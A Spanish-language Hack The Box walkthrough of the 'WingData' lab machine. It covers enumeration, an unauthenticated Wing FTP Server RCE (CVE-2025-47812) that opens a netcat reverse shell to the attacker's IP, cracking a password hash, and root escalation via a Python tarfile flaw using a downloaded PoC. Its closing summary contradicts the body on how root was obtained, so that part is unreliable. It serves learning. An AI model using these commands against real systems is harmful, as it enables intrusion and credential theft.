WingData – Hack The Box [Write Up Español]

La máquina WingData es una máquina fácil de HTB.

Resumen de conceptos trabajados:

Enumeración de servicios
Fuzzing web de directorios ocultos
Análisis de versión vulnerable
Extracción y crackeo de hashes
Explotación de vulnerabilidad RCE

Resumen: comenzamos enumerando los servicios expuestos hasta identificar un subdominio que revelaba un servidor Wing FTP vulnerable. Tras obtener credenciales válidas accedimos por SSH como un usuario del sistema y realizamos la correspondiente enumeración interna. Aunque encontramos un binario ejecutable con sudo, el camino real hacia la escalada no estaba ahí. Finalmente, explotando una vulnerabilidad pública del propio servicio FTP, conseguimos ejecución de código como root y completamos la máquina con éxito.

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn».

ENUMERACIÓN DE PUERTOS Y SERVICIOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar los siguientes comandos y ver si el «host is up»:

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos antes una máquina Linux.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.4.37 -oG Escaneo_TCP

Sabemos por tanto que los puerto 22 SSH y 80 http web están abiertos.

Vamos a continuar con la fase de investigación estática mediante nmap corriendo unos scripts básicos de reconocimiento para analizar las versiones y servicios que corren para esos puertos. De esta manera podremos tener algo más de información que podamos explotar.

nmap -sCV -p22,80 10.129.4.37

Nos reporta información muy interesante…

Por el puerto 22 ssh se sirve una versión de OpenSSH 9.2 que a priori está actualizada y corresponde con una de las últimas versiones, por lo que la descarto como vector de entrada.

Sin embargo, me llama la atención que el puerto web 80 respondió con una redirección pero que nmap no la siguió de forma automática. Es decir, se está aplicando virtual hosting. Por lo que tendremos que modificar el archivo /etc/hosts para poder ver su contenido.

Hecho esto, nos ponemos a analizar la web de forma estática y visual.

  • Detecto que el botón de «Client Portal» redirige a un subdominio http://ftp.wingdata.htb/ . Que por defecto devuelve error pero que al añadirlo también al /etc/hosts bajo la misma IP, ahora sí devuelve el contenido:

Nos devuelve un panel de login con el servicio y versión que corre para ese servicio de FTP llamado «Wing FTP Server v7.4.3«.

Si buscamos en Google por «Wing FTP Server v7.4.3 vulnerabilities» vemos que esta versión del servidor Wing FTP se vio afectada por una vulnerabilidad crítica de ejecución remota de código no autenticada (RCE), identificada como CVE-2025-47812.

De momento, dejamos esta parte en stand-by y analizamos más datos en busca de posibles credenciales, etc.

FUZZING WEB

Si hacemos fuzzing web con gobuster al dominio wingdata.htb , vemos los directorios /assets y /vendor abiertos, los cuales al intentar acceder me dice que no tengo permisos para ello…(403 forbidden).

Por lo que se me ocurre probar directorios o rutas pero en este caso para el subdominio de ftp detectado…

Nos reporta varios directorios o rutas abiertos que iré probando en busca de credenciales o información relevante.

De todas las rutas probadas, o bien me pone un texto de «session expired» o bien redirigen al panel de login.html, por lo que voy a probar a loguearme y ver qué respuesta se envía y devuelve el servidor con BurpSuite.

NOTA: Tuve que iniciar de nuevo la máquina días más tarde y me dieron otra IP para la máquina víctima 10.129.6.121 por lo que en siguientes pasos veréis esta en lugar de 10.129.4.37 .

ANÁLISIS VERSIÓN VULNERABLE

Después de probar y revisar en Burpsuite las peticiones, veo que no continuo de forma clara con la intrusión, por lo que decido descargarme la PoC de un exploit en github para ejecutar el RCE.

Básicamente esta vulnerabilidad CVE-2025-47812 permite que alguien que no está autenticado en el servidor (no necesita usuario ni contraseña) ejecute código arbitrario en el sistema donde está instalado el servicio FTP.

¿Qué hace la Poc?

La PoC (Proof of Concept) es un pequeño script/programa que:

  • Envía una petición HTTP al servidor vulnerable
  • Inserta un carácter especial llamado NULL byte (%00) en el campo “username”
  • Junto con ese NULL introduce código escrito en Lua (el lenguaje que usa el servidor para manejar sesiones)
  • Eso hace que el servidor termine creando un archivo de sesión malicioso
  • Cuando el servidor luego lee esa sesión, ejecuta tu código como si fuera parte del sistema
  • Eso te da la capacidad de ejecutar cualquier comando, por ejemplo:
    • abrir una reverse shell
    • ejecutar whoami
    • crear usuarios
    • descargar malware
    • borrar cosas del sistema
      — todo con privilegios muy altos (root o SYSTEM)

Una vez hemos descargado el script el python del repositorio de github «CVE-2025-47812.py», nos lo movemos a nuestro directorio de trabajo de la máquina, y lo ejecutamos:

python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.14.50 443 -e /bin/sh" -v

Antes nos levantamos un listener con netcat por ejemplo por el puerto 443, y le colocamos la IP de nuestra máquina atacante (la de la VPN asociada a HTB).

Y aya tenemos acceso a la máquina como el usuario «wingftp».

Sin embargo la terminal no es interactiva ni usable, por lo que hacemos un tratamiento de la tty (aquí te cuento cómo hacerla paso a paso) para mejorar la shell.

Y ya la tendríamos estabilizada y lista para navegar sin problemas.

En este punto y ya dentro, lo que hago es moverme entre directorios para:

  • Conocer si hay más usuarios a nivel de sistema : para ello me voy hasta la carpeta «cd home» y busco si hay más usuarios habilitados (y sín, tenemos el usuario «wacky»). Otra forma de ver si hay más usuarios es ir hasta la carpeta /etc y catear el archivo passwd que nos lo permite, y vemos nuestros usuarios.
  • Lo otro que suelo hacer es ver qué permisos privilegiados tiene mi usuario actual «wingftp» para ver si puedo escalar a root abusando de binarios por ejemplo, etc. Sin embargo nos pide una contraseña que no tenemos.

EXTRACCIÓN Y CRACKEO DE HASHES

Por lo que sigo navegando entre las distntas carpetas, y veo una ruta la cual me lleva a ver contraseñas a priori hasheadas bajo el directorio /opt. En él puedo ver las contaseñas de mi usuario actual wacky

Con estas contraseñas hasheadas y usuarios, lo que hago es llevármelas a un fichero «wacky_creds.txt» por si más adelante las tengo que usar…

Las contraseñas están hasheadas en SHA-256:

Por ahora la que me interesa es la de wacky, por lo que creamos un nuevo fichero «wackys.txt» con la password y separada de «:» y el nombre de nuestro usuario de la máquina «WingFTP», y nos devuelve la contraseña:

hashcat -m 1410 wackys.txt /usr/share/wordlists/rockyou.txt

NOTA: Hashcat muestra los resultados en formato:

hash:salt:password

por lo que la contraseña sería:

!#7Blushing^*Bride5

Con esta contraseña ahora nos conectamos como el usuario «wacky» por el puerto 22 ssh abierto que detectamos al inicio, y ya estamos dentro de la máquina y podemos leer la user flag.

Ahora toca escalar privilegios a root…para ello pruebo con «sudo -l» y me dice que puedo ejecutar como root sin contraseña el binario en python3 y una ruta de backups…

Esto significa que:

  • Podemos ejecutar ese script como root
  • Podemos pasarle cualquier argumento
  • No necesita contraseña
  • El * indica que acepta parámetros

NOTA: Como he continuado con la máquina en varios días, la IP veréis que ha cambiado…a partir de ahora usaremos la IP de la máquina víctima siguiente 10.129.8.200.

EXPLOTACIÓN VULNERABILIDAD RCE

Continuando con la escalada de privilegios a root una vez conseguimos la user flag, el comando anterior «sudo -l» nos dice que podemos ejecutar /opt/backup_clients/restore_backup_clients.py pasándole cualquier archivo (*).

Como tenemos permisos de lectura sobre ese script de Python, el siguiente paso es leer su contenido con cat (cat /opt/backup_clients/restore_backup_clients.py).

Vemos que el script usa la librería estándar de Python para descomprimir archivos y, específicamente, se ve en la línea de código: tar.extractall(path=staging_dir, filter=»data»).

Además, como ponía en el «sudo -l», podemos ejecutar python3 por lo que comprobamos la versión de Python en la máquina víctima (ejecutando python3 –version), y vemos que es la 3.12.3.

Si ahora buscamos en Google sobre «Python 3.12 tarfile extractall vulnerability», vemos algunos reportes sobre un CVE público relacionados.

Si ahora investigamos ese «CVE-2025-4517» en Google, nos salen varias referencias, y en concreto, me aparece esta prueba de concepto específica para la máquina WingData de HTB en Github: https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.

Por lo que después de leer el repositorio, y ver que está OK, paso a descargármelo en mi máquina atacante, en concreto, en mi directorio actual de trabajo /HTB/WingData:

wget  https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC-HTB/refs/heads/main/CVE-2025-4517-POC.py

Una vez descargado, e identificado el script «CVE-2025-4517-POC.py», lo que haremos será compartirnos un servidor en python con la máquina víctima para compartirle el recurso del script y poder ejecutarlo como root allí.

Bajo la misma ruta donde tengo descargado el .py , levantamos el servidor en python por el puerto 8000.

Y ahora, en la máquina víctima, lo que hacemos es hacer la petición a ese servidor para descargarnos el recurso:

wacky@wingdata:/tmp$ wget http://10.10.14.50:8000/CVE-2025-4517-POC.py

10.10.14.50 => es muestra tun0 , es decir, nuestra IP de VPN como atacante que nos asigna HTB. La podemos identificar ejecutando el comando «ip a» en nuestra máquina atacante:

Y referenciamos al nombre del script CVE-2025-4517-POC.py .

Una vez descargado en la máquina víctima y ubicado en la carpeta (por ejemplo, yo me ubiqué en la carpeta /tmp ), ya solo nos queda ejecutarlo y acceder como root.

Asigna permisos de ejecución al script y ejecútalo:

chmod +x CVE-2025-4517-POC.py

python3 CVE-2025-4517-POC.py

Y ya estamos dentro como root. Ya queda movernos al directorio cd /root y ejecutar la flag.

RESUMEN DE LA MÁQUINA WINGDATA

Comenzamos la máquina realizando la enumeración de puertos y servicios, donde identificamos los puertos 22 (SSH) y 80 (HTTP) abiertos. Tras analizar el servicio web, descubrimos que redirigía al dominio wingdata.htb, por lo que añadimos la entrada correspondiente en nuestro /etc/hosts. Navegando por la aplicación web detectamos el subdominio ftp.wingdata.htb, que ejecutaba Wing FTP Server 7.4.3, una versión con vulnerabilidades conocidas. A partir de ahí iniciamos una fase de enumeración más profunda centrada en este servicio.

Durante el análisis del sistema encontramos credenciales del usuario wacky almacenadas en los archivos internos del servidor WingFTP. Tras extraer el hash y crackearlo con hashcat, obtuvimos la contraseña en texto plano, lo que nos permitió acceder por SSH como dicho usuario y obtener la user flag. Una vez dentro, realizamos la enumeración de privilegios y detectamos que el usuario podía ejecutar un script de restauración de backups como root mediante sudo, aunque las protecciones modernas de Python impedían explotar ese vector mediante técnicas clásicas como path traversal o symlink injection.

Finalmente, centramos nuestra atención en la vulnerabilidad pública asociada a la versión de Wing FTP Server identificada previamente. Descargamos una PoC desde GitHub en nuestra máquina atacante Kali, la compartimos con la máquina víctima mediante un servidor HTTP en Python y ejecutamos el exploit desde el sistema comprometido. La vulnerabilidad permitió ejecución de código como root, otorgándonos acceso completo al sistema. Con ello pudimos acceder al directorio /root y obtener la root flag.

Otros posts relacionados